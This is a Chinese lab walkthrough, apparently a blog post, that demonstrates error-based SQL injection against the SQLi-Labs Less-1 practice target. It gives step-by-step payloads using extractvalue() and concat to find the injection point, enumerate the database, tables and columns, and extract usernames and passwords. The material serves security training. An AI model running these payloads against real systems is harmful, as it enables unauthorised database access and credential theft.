SQLi-Labs 基于报错的SQL注入

实验环境

操作系统:Windows10

安装应用软件:Sqlmap、Burpsuite、FireFox浏览器插件Hackbar等

靶机:A-SQLi-Labs

安装的应用软件:Apache、MYSQL、PHP;DVWA、SQLi-Labs

实验步骤:

1.访问目标网站

在Windows10上打开火狐浏览器,并访问靶机上的SQLi-labs网站Less-1

http://靶机ip/sql/Less-1

登录后,先给一个GET参数:

http://靶机ip/sql/Less-1/?id=1

此时云显示为用户名、密码Dumb

 2.寻找注入点

打开火狐浏览器插件HackBar

 分别使用以下三条payload寻找注入点及判断注入点类型:

http://靶机ip/sql/Less-1/?id=1'

运行后报错

 http://靶机ip/sql/Less-1/?id=1' and '1'='1

运行结果依旧是用户名、密码,说明运行结果正确

  http://靶机ip/sql/Less-1/?id=1' and '1'='2

未显示运行结果

 上面三条参数中第二条参数运行正确,说明存在字符型注入点。

3.获取网站当前所在数据库的库名

使用以下payload获取网站当前所在数据库的库名:

http://靶机ip/sql/Less-1/?id=1' and extractvalue(1,concat('~',database()))--+

运行结果为:security

 4.获取数据库的全部表名

使用以下payload获取数据库的全部表名:

http://靶机ip/sql/Less-1/?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')))--+

显示结果中,users表名中可能存放着网站用户的基本信息。

 注:extractvalue()函数显示的错误信息最大长度为32,超过最大长度可以借助limit来做分行显示,上述payload可以改为:

http://靶机ip/sql/Less-1/?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security' limit 0,1)))--+  //显示security库中第1张表的名字

http://靶机ip/sql/Less-1/?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security' limit 1,1)))--+  //显示security库中第2张表的名字

http://靶机ip/sql/Less-1/?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security' limit 2,1)))--+  //显示security库中第3张表的名字

5.获取users表的全部字段

使用以下payload获取users表的全部字段名:

http://靶机ip/sql/Less-1/?id=1' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))--+

结果显示表中有三个字段

 6.获取users表中三个字段的全部值

第一组数据:

http://靶机ip/sql/Less-1/?id=1' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 0,1)))--+

 第二组数据:

http://靶机ip/sql/Less-1/?id=1' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 1,1)))--+

 第三组数据:

http://靶机ip/sql/Less-1/?id=1' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 2,1)))--+

 以此类推,可以通过修改limit后面的参数,获得users表中的缩影用户信息。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值